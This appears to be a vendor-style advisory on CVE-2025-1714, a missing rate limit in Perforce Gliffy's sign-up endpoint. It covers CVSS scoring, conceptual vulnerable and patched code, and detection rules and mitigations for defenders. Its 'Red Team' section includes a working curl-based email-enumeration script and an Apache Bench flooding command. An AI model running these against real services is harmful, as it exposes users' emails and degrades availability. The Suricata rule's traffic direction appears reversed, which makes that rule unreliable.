CVE-2025-1714

Executive Summary

CVE-2025-1714 identifies a Lack of Rate Limiting vulnerability in the sign-up workflow of Perforce Gliffy (online version) prior to version 4.14.0-7. This flaw allows an unauthenticated attacker to enumerate valid user email addresses and potentially cause a Denial of Service (DoS) against the server by flooding the sign-up endpoint with requests. The vulnerability is classified as a CWE-770: Allocation of Resources Without Limits or Throttling, with a CVSS v3.1 base score of 5.3 (Medium). No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has addressed the issue in version 4.14.0-7.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects the proprietary Perforce Gliffy online SaaS application. Therefore, supply chain package security considerations are not directly applicable. However, organizations using Gliffy should verify their instance is updated to the patched version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Email enumeration leaks low-sensitivity data.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Potential for partial DoS.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L Base Score: 5.3 (Medium)

Threat Level: Medium. While the confidentiality impact is limited to email enumeration, the availability impact (DoS) can disrupt business operations. The lack of authentication and low complexity makes this an attractive target for automated scanning and botnets.

Deep Dive & Mechanics

The vulnerability resides in the sign-up workflow of Perforce Gliffy. When a user attempts to register, the application likely performs a check to see if the email address already exists. Due to the absence of rate limiting, an attacker can:

1. Email Enumeration: Send repeated sign-up requests with different email addresses. The application's response (e.g., "Email already registered" vs. "Registration successful") reveals whether an email is valid. This can be used for targeted phishing or credential stuffing attacks.
2. Denial of Service (DoS): Flood the sign-up endpoint with a high volume of requests. Without throttling, this can exhaust server resources (CPU, memory, database connections), making the service unavailable to legitimate users.

The attack is performed over HTTP/HTTPS to the Gliffy sign-up API endpoint. No authentication is required. The attacker only needs the target server's URL.

Vulnerable vs. Patched Code

Since this is a proprietary application, exact code snippets are not publicly available. However, the fix conceptually involves implementing rate limiting on the sign-up endpoint.

Vulnerable Code (Conceptual):

# No rate limiting applied
@app.route('/signup', methods=['POST'])
def signup():
    email = request.form['email']
    if user_exists(email):
        return "Email already registered", 409
    else:
        create_user(email)
        return "Registration successful", 201

Patched Code (Conceptual):

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.route('/signup', methods=['POST'])
@limiter.limit("5 per minute")  # Rate limit applied
def signup():
    email = request.form['email']
    if user_exists(email):
        return "Email already registered", 409
    else:
        create_user(email)
        return "Registration successful", 201

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Enumerate valid user emails and perform a DoS attack.

Prerequisites:

• Target Gliffy instance URL (e.g., https://gliffy.example.com).
• A list of potential email addresses (e.g., emails.txt).

Steps:

1. Email Enumeration: Use a script to send POST requests to the sign-up endpoint and analyze responses.

   #!/bin/bash
   # enumerate_emails.sh
   TARGET="https://gliffy.example.com/api/signup"
   while IFS= read -r email; do
       response=$(curl -s -o /dev/null -w "%{http_code}" -X POST -d "email=$email" "$TARGET")
       if [ "$response" == "409" ]; then
           echo "[VALID] $email"
       fi
   done < emails.txt
   

2. Denial of Service (DoS): Use a tool like ab (Apache Bench) or hping3 to flood the endpoint.

   # DoS with Apache Bench (1000 requests, 100 concurrent)
   ab -n 1000 -c 100 -p post_data.txt -T 'application/x-www-form-urlencoded' https://gliffy.example.com/api/signup
   

   Note: post_data.txt should contain email=test@example.com.

Blue Team (Defensive)

Detection & Mitigation:

1. Monitor for Anomalous Traffic:

   • High volume of POST requests to /api/signup from a single IP.
   • Repeated 409 (Conflict) responses indicating email enumeration.
   • Spike in server resource utilization (CPU, memory).

2. Implement Rate Limiting:

   • Apply rate limiting at the web application firewall (WAF) or application layer.
   • Example Nginx rate limiting configuration:

   limit_req_zone $binary_remote_addr zone=signup:10m rate=5r/m;
   
   server {
       location /api/signup {
           limit_req zone=signup burst=10 nodelay;
           proxy_pass http://backend;
       }
   }
   

3. Harden Responses:

   • Return generic error messages (e.g., "Invalid request") regardless of whether the email exists.
   • Implement CAPTCHA on the sign-up form.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High frequency of HTTP POST requests to /api/signup or similar endpoints.
  • Source IPs with a high request rate (e.g., >100 requests/minute).
  • HTTP response codes: 409 (Conflict) or 429 (Too Many Requests) if rate limiting is partially applied.

• Log IOCs:

  • Application logs showing repeated sign-up attempts from the same IP.
  • Web server logs with a high count of POST /api/signup entries.

• File IOCs:

  • Scripts named enumerate_emails.sh, gliffy_brute.py, etc.
  • Text files containing lists of email addresses.

Detection Engineering

YARA Rule

rule Detect_Gliffy_Email_Enumeration_Script {
    meta:
        description = "Detects scripts used for email enumeration against Perforce Gliffy"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1714"
    strings:
        $s1 = "gliffy" nocase
        $s2 = "signup" nocase
        $s3 = "email" nocase
        $s4 = "409" nocase
        $s5 = "enumerate" nocase
    condition:
        all of ($s*) and filesize < 100KB
}

Sigma Rule

title: High Volume of Gliffy Sign-up Requests
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects a high number of POST requests to the Gliffy sign-up endpoint, indicating potential email enumeration or DoS.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/signup'
    condition: selection | count() by src_ip > 100 in 1m
falsepositives:
    - Legitimate high-traffic periods
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1714 - Gliffy Sign-up Rate Limit Bypass";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/api/signup";
    http_uri;
    threshold: type both, track by_src, count 100, seconds 60;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action:

   • Upgrade Perforce Gliffy to version 4.14.0-7 or later.
   • If immediate upgrade is not possible, implement a WAF rule to rate-limit the sign-up endpoint.

2. Long-term Measures:

   • Enforce rate limiting on all authentication and registration endpoints.
   • Use CAPTCHA or other challenge-response mechanisms on sign-up forms.
   • Monitor logs for enumeration patterns and block offending IPs.
   • Conduct regular security audits of application endpoints.

3. Vendor Communication:

   • Contact Perforce support for patch details if upgrade is not feasible.

Valters IT
DevSecOps & Cyber Threat Intelligence